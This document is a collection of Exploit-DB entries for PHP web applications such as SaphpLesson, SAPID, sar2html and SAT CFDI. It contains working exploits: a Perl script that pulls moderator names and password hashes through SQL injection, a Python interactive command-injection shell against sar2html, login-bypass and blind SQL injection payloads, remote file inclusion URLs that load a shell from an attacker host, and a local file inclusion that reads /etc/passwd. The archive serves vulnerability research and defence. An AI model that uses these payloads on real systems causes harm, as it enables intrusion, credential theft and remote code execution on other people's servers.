deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26488
Description: SAP Web Application Server 6.x/7.0 - Open Redirection
Type: webapps
Platform: php
Date: 2005-11-09
Author: Leandro Meiners

Exploit:
source: https://www.securityfocus.com/bid/15362/info

SAP Web Application Server is reported prone to a remote URI redirection vulnerability.

It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'sap-exiturl' parameter.

A successful attack may result in various attacks including theft of cookie-based authentication credentials. An attacker may also be able to exploit this vulnerability to enhance phishing style attacks.

This issue only affects the BSP runtime of SAP WAS. 

http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=http%3a%2f%2fwww.example.com
Exploit-DB #26390
Description: saPHP Lesson - 'add.php?forumid' SQL Injection
Type: webapps
Platform: php
Date: 2005-10-26
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/15185/info

saphp Lesson is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/dros/add.php?forumid=|almaster
Exploit-DB #1530
Description: saPHP Lesson 2.0 - 'forumid' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-25
Author: SnIpEr_SA

Exploit:
#!/usr/bin/perl
#
# For password
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor
# For username
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor
# sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nSaphpLesson 2.0 SQL-Injection \n";
    print "By SnIpEr_SA Ported by str0ke\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to showcat.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    SaphpLesson 2.0 SQL-Injection
    By SnIpEr_SA Ported by str0ke\n\n);

    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModName+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /(\[)(.*)(\]\<\/title\>)/){&user;}else{print "No Workie\n";}
    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModPassword+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /(\[)(\w{32})(\]\<\/title\>)/){&showh;}else{print "No Workie\n";}
}

sub user { print "[*] Username: $2\n";}
sub showh { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25]
Exploit-DB #28059
Description: SaphpLesson 1.1/2.0/3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-06-19
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18501/info

The saphplesson module is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/Path/showcat.php?forumid=1&Page=-1[SQL])
Exploit-DB #28204
Description: SaPHPLesson 2.0 - 'add.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-11
Author: C.B.B.L

Exploit:
source: https://www.securityfocus.com/bid/18934/info

SaPHPLesson is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/story/add.php?forumid=[SQL Injection]
Exploit-DB #27475
Description: SaPHPLesson 2.0 - 'print.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-27
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/17239/info

SaphpLesson is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/lesson/print.php?lessid=-1%20union20select20null,null,null,ModName,null,ModPassword,null,ModPassword,null,ModPassword,null,null,null,null%20FROM%20modretor
Exploit-DB #27907
Description: SaPHPLesson 2.0 - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-05-27
Author: SwEET-DeViL

Exploit:
source: https://www.securityfocus.com/bid/18117/info

SaPHPLesson is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/lesons/show.php?lessid=1%20union%20select%20null,null,null,ModName,ModPassword,ModPassword,ModPassword%20FROM%20modretor
Exploit-DB #9248
Description: SaphpLesson 4.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-07-24
Author: SwEET-DeViL

Exploit:
---------------------------------SaphpLesson v4.0 (Auth Bypass) SQL Injection Vulnerability---------------------------------------
                       #                                                                            
   #    ####     #    ###      ##   ###  ####  ####  ###   #####   ####  ####   ###     #    ### ####  ######
   ##    #  #    ##    # #    # #  #  #   # #   #  #  #    #  #   #    #  # #  #  #     ##    #   # # #  #  #
   # #   #  #    # #   # #    # #  #      #     #  #   #   #  #  #        #    #        # #   #   #      #   
  #  #   ###    #  #   ###   #  #   ##    ###   ###    #  #   #  #        ###   ##      #  #  #   ###    #   
  ####   #  #   ####   #  # ######    #   #     #  #    # #   #  #        #       #     #   # #   #      #   
 #   #   #   # #   #   #  #     # #   #   #     #   #   ##    #   #    #  #   #   #     #    ##   #      #   
##    #####   ##    ######     ### ###   ####  ###   #   #   ###   ####  ####  ###   # ###    #  ####   ###  


#----------------------------------------------------------------------------------------------------------------
Script : SaphpLesson
version : 4.0
Language: PHP
Site: http://www.saphplesson.org
Download: http://www.saphplesson.org/saphplesson.zip
Dork: intext:Powered by SaphpLesson 4.0
Found by: SwEET-DeViL

need magic_quotes_gpc = Off

#----------------------------------------------------------------------------------------------------------------

)=> admin/login.php
.................................................................................................................
if ($_SERVER["REQUEST_METHOD"]=="POST"){
          $username = CleanVar($_POST["cp_username"]); <======================================{
          $password = md5(CleanVar($_POST["cp_password"]));
          $IsLogin    = $db->get_var("select count(*) from modretor Where  ModName='".$username."' and ModPassword='".$password."'");

.................................................................................................................

function  of insecure !!

)-)=> includes/functions.php
---------------------------------------
.[106] function CleanVar($var)
.[107] {
.[108]     (get_magic_quotes_gpc() === 0) ? $var : addslashes($var);
.[109]
.[110]     return htmlspecialchars(trim($var));
.[111] }
---------------------------------------

#Exploit:

username : 'or 1=1/*
OR 
username : 'or 1=1 or '
OR 
username : admin ' or ' 1=1--
....

password: SwEET-DeViL

---------------------------------------


/-------------www.arab4services.net-----------------\
|+------------------------------------------------+ |
||          SwEET-DeViL & viP HaCkEr              | |
||            gamr-14(at)hotmail.com              | |
|+------------------------------------------------+ |
\---------------------------------------------------/

# milw0rm.com [2009-07-24]
Exploit-DB #10687
Description: SaphpLesson 4.0 food - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : food  RFI Vulnerability                                                 |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Food * POWERED BY: SaphpLesson 4.0 http://www.saphplesson.org/          |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/food/includes/easytemplate.php?cache=[EV!L]
| 2- http://server/food/includes/easytemplate.php?fn=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #18342
Description: SAPID 1.2.3 Stable - Remote File Inclusion
Type: webapps
Platform: php
Date: 2012-01-09
Author: Opa Yong

Exploit:
# Exploit Title: SAPID Stable (RFI)
# Google Dork: tanyakan pada dan pemula :D
# Date: January 08 2011
# Author: Opa Yong
# Software Link: http://sourceforge.net/projects/sapid/files/sapid-cms/
# Version: SAPID 1.2.3 Stable
# Tested on: Windows XP Home Edition SP2


@POC: http://127.0.1/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[webshell.txt?]
@POC: http://127.0.1/usr/extensions/get_infochannel.inc.php?root_path=[webshell.txt?]


Pesan: Jangan pernah mengaku diri anda hacker,lebih baik orang yg di sekitar anda yg mengaku anda itu adalah hacker.


Special thanks for Dan Pemula
Exploit-DB #2128
Description: SAPID 1.2.3.05 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID CMS <= v. 1.2.3.05 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidcms_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidcms_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07]
Exploit-DB #2129
Description: SAPID Blog Beta 2 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Blog <= Beta 2 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_blog_meta_info.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_infochannel.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidblog_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07]
Exploit-DB #5097
Description: SAPID CMF Build 87 - 'last_module' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-02-10
Author: GoLd_M

Exploit:
### SAPID CMF Build 87 (last_module) Remote Code Execution Vulnerability
### Script R84 : http://puzzle.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.r84.zip
### Script Update R87 :http://surfnet.dl.sourceforge.net/sourceforge/sapidcmf/sapidcmf.update.r84-r87.zip
### Dork : Powered by SAPID CMF Build 87
### Vuln :
### 09:  */

eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
### POC :
###     /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###     OR INCLUDE SHELL
###     /vendors/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};include(URL-SHELL);//
###  I'm TrYaGi ......:)

# milw0rm.com [2008-02-10]
Exploit-DB #2130
Description: SAPID Gallery 1.0 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Gallery <= v.1 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidgalery_path]/usr/extensions/get_calendar.inc.php?root_path=[evil_scripts]

http://www.site.com/[sapidgalery_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07]
Exploit-DB #2131
Description: SAPID Shop 1.2 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  SAPID Shop <= v.1.2 (root_path) Remote File Include Vulnerability
$$  Script site: http://sapid.sourceforge.net/
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Expl:

http://www.site.com/[sapidshop_path]/usr/extensions/get_tree.inc.php?GLOBALS[root_path]=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-07]
Exploit-DB #10288
Description: SAPID SHOP 1.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-03
Author: cr4wl3r

Exploit:
#Download Script      :  http://sourceforge.net/projects/sapid/files
########################################################################
#
#Vuln : ./SAPID-SHOP-1.3/usr/extensions/get_tree.inc.php (line 11)
#
#     <?php
#       require $forms_dir."calmenuform.php"; if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
#       include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); }
#      ?>
#
#PoC  :  http://server/[path]/usr/extensions/get_tree.inc.php?root_path=http://attacker.com/shell.txt???
#
########################################################################
#Vuln : ./SAPID-SHOP-1.3/usr/extensions/get_tree.inc.php (line 11)
#
#     <?php
#       if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
#       include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); }
#      ?>
#
#PoC  :  http://server/[path]/usr/extensions/get_tree.inc.php?root_path=http://attacker.com/shell.txt???
########################################################################
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
########################################################################
########################################################################

   [ Gorontalo / 2009 ]
Exploit-DB #49344
Description: sar2html 3.2.1 - 'plot' Remote Code Execution
Type: webapps
Platform: php
Date: 2021-01-04
Author: Musyoka Ian

Exploit:
# Exploit Title: sar2html 3.2.1 - 'plot' Remote Code Execution
# Date: 27-12-2020
# Exploit Author: Musyoka Ian
# Vendor Homepage:https://github.com/cemtan/sar2html 
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Ubuntu 18.04.1

#!/usr/bin/env python3

import requests
import re
from cmd import Cmd

url = input("Enter The url => ")

class Terminal(Cmd):
    prompt = "Command => "
    def default(self, args):
        exploiter(args)

def exploiter(cmd):
    global url
    sess = requests.session()
    output = sess.get(f"{url}/index.php?plot=;{cmd}")
    try:
        out = re.findall("<option value=(.*?)>", output.text)
    except:
        print ("Error!!")
    for ouut in out:
        if "There is no defined host..." not in ouut:
            if "null selected" not in ouut:
                if "selected" not in ouut:
                    print (ouut)
    print ()

if __name__ == ("__main__"):
    terminal = Terminal()
    terminal.cmdloop()
Exploit-DB #47204
Description: Sar2HTML 3.2.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2019-08-02
Author: Cemal Cihad ÇİFTÇİ

Exploit:
# Exploit Title: sar2html Remote Code Execution
# Date: 01/08/2019
# Exploit Author: Furkan KAYAPINAR
# Vendor Homepage:https://github.com/cemtan/sar2html 
# Software Link: https://sourceforge.net/projects/sar2html/
# Version: 3.2.1
# Tested on: Centos 7

In web application you will see index.php?plot url extension.

http://<ipaddr>/index.php?plot=;<command-here> will execute 
the command you entered. After command injection press "select # host" then your command's 
output will appear bottom side of the scroll screen.
Exploit-DB #27112
Description: SaralBlog 1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-18
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16306/info

saralblog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation of these vulnerabilities could result in a compromise of the application, disclosure or modification of data, the theft of cookie-based authentication credentials or possibly permit an attacker to control how the site is rendered to the user. They may also permit an attacker to exploit vulnerabilities in the underlying database implementation as well as other attacks. 

The following proof of concept URI for some of the SQL injection issues are available:
http://www.example.com/viewprofile.php?id=999%20union%20select%201,2,3,4,5,6,7/*

Also supplying the following to the search parameter:
aaaaa') union select 1,2,3,4,5,6/*
Exploit-DB #33716
Description: Saskia's ShopSystem - 'id' Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-05
Author: cr4wl3r

Exploit:
source: https://www.securityfocus.com/bid/38574/info

Saskia's Shopsystem is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

Saskia's Shopsystem beta1 is vulnerable; other versions may also be affected. 

http://www.example.com/content.php?id=[LFI%00]
Exploit-DB #44726
Description: SAT CFDI 3.3 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: SAT CFDI 3.3 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://www.wecodex.com/item/view/verification-and-validation-system-sat-cfdi-33/8
# Version: 3.3
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target
# https://Target/signIn

POST /signIn HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://Target/
Content-Length: 24
Cookie: PHPSESSID=7knfo298eprq0la2r77ph31jr3
Connection: keep-alive
id=admin&[CREDENTIAL_REDACTED]


# Vulnerable Payload :
# Parameter: id (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 

id=admin" AND 3577=3577 AND "Stsj"="Stsj&[CREDENTIAL_REDACTED]

# Type: stacked queries
# Title: MySQL > 5.0.11 stacked queries (comment)
# Payload: 

id=admin";SELECT SLEEP(5)#&[CREDENTIAL_REDACTED]

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 

id=admin" AND SLEEP(5) AND "bWUR"="bWUR&[CREDENTIAL_REDACTED]
Exploit-DB #29782
Description: Satel Lite - 'Satellite.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-11-26
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/23143/info

Satel Lite is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to access sensitive information and to execute local script code in the context of the application; this may facilitate other attacks against the affected computer.

http://www.example.com/nuke_path/Satellite.php?op=modload&name=../../../../../../etc/passwd&file=index